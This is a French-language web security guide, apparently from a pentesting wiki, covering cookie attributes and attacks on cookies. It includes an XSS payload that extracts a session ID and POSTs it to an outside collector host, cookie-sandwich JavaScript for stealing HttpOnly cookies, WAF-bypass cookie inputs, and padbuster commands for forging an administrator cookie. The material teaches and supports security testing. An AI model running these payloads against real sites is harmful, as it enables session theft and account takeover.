Cookies Hacking

Reading time: 17 minutes

Attributs des cookies

Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs présenté de manière plus passive :

Expires and Max-Age

La date d'expiration d'un cookie est déterminée par l'attribut Expires. À l'inverse, l'attribut Max-age définit le temps en secondes avant la suppression d'un cookie. Privilégier Max-age car il reflète des pratiques plus modernes.

Domain

Les hôtes destinataires d'un cookie sont spécifiés par l'attribut Domain. Par défaut, il est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut Domain est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut Domain moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir Domain=mozilla.org rend les cookies accessibles sur ses sous-domaines comme developer.mozilla.org.

Path

L'attribut Path indique un chemin URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête Cookie soit envoyé. Cet attribut considère le caractère / comme séparateur de répertoires, permettant des correspondances dans les sous-répertoires également.

Ordering Rules

Quand deux cookies portent le même nom, celui choisi pour l'envoi est déterminé par :

• Le cookie correspondant au chemin le plus long dans l'URL demandée.
• Le cookie le plus récemment défini si les chemins sont identiques.

SameSite

• L'attribut SameSite dicte si les cookies sont envoyés sur des requêtes provenant de domaines tiers. Il propose trois réglages :
• Strict : Empêche l'envoi du cookie sur les requêtes tierces.
• Lax : Autorise l'envoi du cookie avec les requêtes GET initiées par des sites tiers.
• None : Permet l'envoi du cookie depuis n'importe quel domaine tiers.

Rappel : lors de la configuration des cookies, comprendre ces attributs aide à garantir qu'ils se comportent comme attendu selon les différents scénarios.

Table from Invicti and slightly modified.
Un cookie avec l'attribut SameSite permettra de mitiger les attaques CSRF nécessitant une session authentifiée.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Remarquer que temporairement, après l'application de ce changement, les cookies sans SameSite policy dans Chrome seront treated as None pendant les 2 premières minutes, puis comme Lax pour les requêtes POST cross-site de niveau top.

Flags des cookies

HttpOnly

Cela empêche le client d'accéder au cookie (Via Javascript par exemple : document.cookie)

Bypasses

• Si la page envoie les cookies comme réponse d'une requête (par exemple dans une page PHPinfo), il est possible d'abuser d'un XSS pour envoyer une requête à cette page et voler les cookies depuis la réponse (voir un exemple sur https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Cela peut être contourné avec des requêtes TRACE HTTP, car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée Cross-Site Tracking.
• Cette technique est évitée par les navigateurs modernes en n'autorisant pas l'envoi d'une requête TRACE depuis JS. Cependant, quelques contournements ont été trouvés dans des logiciels spécifiques, comme l'envoi de \r\nTRACE au lieu de TRACE pour IE6.0 SP2.
• Une autre voie est l'exploitation de vulnérabilités zero/day des navigateurs.
• Il est possible de surcharger/overwrite des cookies HttpOnly en réalisant une attaque de Cookie Jar overflow :

Cookie Jar Overflow

• Il est possible d'utiliser une attaque de Cookie Smuggling pour exfiltrer ces cookies
• Si un endpoint côté serveur reflète l'ID de session brut dans la réponse HTTP (par ex., à l'intérieur de commentaires HTML ou d'un bloc de debug), il est possible de bypasser HttpOnly en utilisant un XSS gadget pour récupérer cet endpoint, appliquer une regex sur le secret, et l'exfiltrer. Exemple de pattern de payload XSS :

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La requête HTTP n'enverra que le cookie si elle est transmise via un canal sécurisé (généralement HTTPS).

Cookies Prefixes

Les cookies préfixés par __Secure- doivent être définis avec le flag secure depuis des pages sécurisées par HTTPS.

Pour les cookies préfixés par __Host-, plusieurs conditions doivent être respectées :

• Ils doivent être définis avec le flag secure.
• Ils doivent provenir d'une page sécurisée par HTTPS.
• Il est interdit de spécifier un domain, ce qui empêche leur transmission aux sous-domaines.
• Le path de ces cookies doit être défini sur /.

Il est important de noter que les cookies préfixés par __Host- ne peuvent pas être envoyés vers des superdomains ou des sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, employer le préfixe __Host- pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.

Overwriting cookies

Ainsi, une des protections des cookies préfixés par __Host- est d'empêcher qu'ils soient écrasés depuis des sous-domaines. Cela empêche par exemple les Cookie Tossing attacks. Dans la conférence Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) il est expliqué qu'il était possible de définir des cookies préfixés __HOST- depuis un sous-domaine, en trompant le parser, par exemple en ajoutant "=" au début ou au début et à la fin...:

Ou en PHP il était possible d'ajouter d'autres caractères au début du nom du cookie qui allaient être remplacés par des underscores, permettant d'écraser les cookies __HOST- :

Cookies Attacks

Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable.

Decoding and Manipulating Cookies

Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette faiblesse permet à un attaquant d'altérer le contenu du cookie et d'usurper d'autres utilisateurs en ré-encodant leurs données modifiées dans le cookie.

Session Hijacking

Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut se faire passer pour l'utilisateur légitime.

Session Fixation

Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie après la connexion, l'attaquant, possédant le cookie initial, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.

Si vous avez trouvé un XSS in a subdomain ou que vous control a subdomain, lisez :

Cookie Tossing

Session Donation

Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant être connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.

Si vous avez trouvé un XSS in a subdomain ou que vous control a subdomain, lisez :

Cookie Tossing

JWT Cookies

Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles de JWT.

Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent aussi présenter des vulnérabilités. Pour des informations détaillées sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur le hacking JWT.

Cross-Site Request Forgery (CSRF)

Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web pour laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.

Empty Cookies

(Voir plus de détails dans la original research) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Le résultat dans le cookie header envoyé est a=v1; test value; b=v2;. De façon intrigante, cela permet la manipulation des cookies si un cookie sans nom est défini, contrôlant potentiellement d'autres cookies en définissant le cookie vide sur une valeur spécifique :

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Cela entraîne l'envoi par le navigateur d'un en-tête cookie interprété par chaque serveur web comme un cookie nommé a avec une valeur b.

Chrome Bug : Unicode Surrogate Codepoint Issue

Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, document.cookie devient corrompu, renvoyant ensuite une chaîne vide :

document.cookie = "\ud800=meep"

Cela entraîne document.cookie renvoyant une chaîne vide, indiquant une corruption permanente.

Cookie Smuggling Due to Parsing Issues

(Voir plus de détails dans laoriginal research) Plusieurs serveurs web, y compris ceux écrits en Java (Jetty, TomCat, Undertow) et en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gèrent mal les cookie strings à cause d'un support obsolète de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur même si elle contient des points-virgules, qui devraient normalement séparer les paires clé-valeur :

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Vulnérabilités d'injection de cookies

(Consultez plus de détails dans laoriginal research) Le parsing incorrect des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant les classes Python http.cookie.SimpleCookie et http.cookie.BaseCookie, crée des opportunités d'attaques d'injection de cookies. Ces serveurs ne délimitent pas correctement le début de nouveaux cookies, permettant aux attaquants d'usurper des cookies :

• Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
• Zope recherche une virgule pour commencer à parser le cookie suivant.
• Les classes cookie de Python commencent le parsing sur un caractère espace.

Cette vulnérabilité est particulièrement dangereuse dans les applications web qui reposent sur une protection CSRF basée sur les cookies, car elle permet à un attaquant d'injecter des cookies CSRF-token usurpés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion des noms de cookies dupliqués en Python, où la dernière occurrence prend le dessus sur les précédentes. Cela soulève aussi des inquiétudes pour les cookies __Secure- et __Host- dans des contextes non sécurisés et pourrait conduire à des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end vulnérables à l'usurpation.

Cookies $version

Contournement de WAF

Selon this blogpost, il peut être possible d'utiliser l'attribut de cookie $Version=1 pour amener le backend à utiliser une logique ancienne de parsing du cookie en raison de la RFC2109. De plus, d'autres valeurs comme $Domain et $Path peuvent être utilisées pour modifier le comportement du backend vis-à-vis du cookie.

Cookie Sandwich Attack

Selon this blogpost il est possible d'utiliser la technique cookie sandwich pour voler des HttpOnly cookies. Voici les prérequis et les étapes :

• Trouver un endroit où un cookie apparemment inutile est reflété dans la réponse
• Créer un cookie nommé $Version avec la valeur 1 (vous pouvez le faire via une XSS depuis JS) avec un path plus spécifique afin qu'il obtienne la position initiale (certains frameworks comme python n'ont pas besoin de cette étape)
• Créer le cookie qui est reflété avec une valeur qui laisse un guillemet double non fermé et avec un path spécifique pour qu'il soit positionné dans la cookie DB après le précédent ($Version)
• Ensuite, le cookie légitime se placera juste après dans l'ordre
• Créer un cookie factice qui ferme le guillemet double à l'intérieur de sa valeur

De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est renvoyé. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

Contournements WAF

Cookies $version

Voir la section précédente.

Bypassing value analysis with quoted-string encoding

Cette analyse provoque le déséchapement des valeurs échappées dans les cookies, donc "\a" devient "a". Cela peut être utile pour contourner les WAFS comme :

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Dans la RFC2109, il est indiqué qu'une virgule peut être utilisée comme séparateur entre les valeurs de cookie. Il est également possible d'ajouter des espaces et des tabulations avant et après le signe égal. Par conséquent, un cookie comme $Version=1; foo=bar, abc = qux ne génère pas le cookie "foo":"bar, admin = qux" mais les cookies foo":"bar" et "admin":"qux". Remarquez comment 2 cookies sont générés et comment admin a perdu les espaces avant et après le signe égal.

Bypassing value analysis with cookie splitting

Enfin différents backdoors joindraient dans une chaîne différents cookies passés dans différents cookie headers comme dans:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ce qui pourrait permettre de contourner un WAF comme dans cet exemple :

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Vérifications supplémentaires des cookies vulnérables

Vérifications de base

• Le cookie est le même à chaque login.
• Déconnectez-vous et essayez d'utiliser le même cookie.
• Essayez de login avec 2 appareils (ou navigateurs) sur le même compte en utilisant le même cookie.
• Vérifiez si le cookie contient des informations et essayez de le modifier.
• Essayez de créer plusieurs comptes avec des username presque identiques et vérifiez si vous voyez des similitudes.
• Vérifiez l'option "remember me" si elle existe pour voir comment elle fonctionne. Si elle existe et peut être vulnérable, utilisez toujours le cookie de remember me sans aucun autre cookie.
• Vérifiez si le cookie précédent fonctionne même après que vous ayez changé le mot de passe.

Attaques avancées sur les cookies

Si le cookie reste le même (ou presque) lorsque vous vous login, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le username). Dans ce cas, vous pouvez :

• Essayez de créer de nombreux comptes avec des username très similaires et tentez de deviner comment l'algorithme fonctionne.
• Essayez de bruteforce the username. Si le cookie sert uniquement comme méthode d'authentification pour votre username, alors vous pouvez créer un compte avec le username "Bmin" et bruteforce chaque bit de votre cookie parce que l'un des cookies que vous essaierez sera celui appartenant à "admin".
• Essayez Padding Oracle (vous pouvez décrypter le contenu du cookie). Utilisez padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effectuera plusieurs tentatives et vous demandera quelle condition correspond à la condition d'erreur (celle qui n'est pas valide).

Ensuite, il commencera le processus de decrypting the cookie (cela peut prendre plusieurs minutes)

Si l'attaque a été exécutée avec succès, vous pourrez alors essayer d'encrypt une chaîne de votre choix. Par exemple, si vous souhaitez encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.

L'attaque

1. Obtenir la signature du nom d'utilisateur administ = t
2. Obtenir la signature du nom d'utilisateur rator\x00\x00\x00 XOR t = t'
3. Placer dans le cookie la valeur administrator+t' (t' sera une signature valide de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

If the cookie is encrypted using ECB it could be vulnerable.
When you log in the cookie that you receive has to be always the same.

Comment détecter et attaquer :

Créer 2 users avec des données presque identiques (username, password, email, etc.) et essayer de découvrir un motif dans le cookie fourni

Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

Il devrait y avoir un motif (avec la taille d'un bloc utilisé). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

References

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/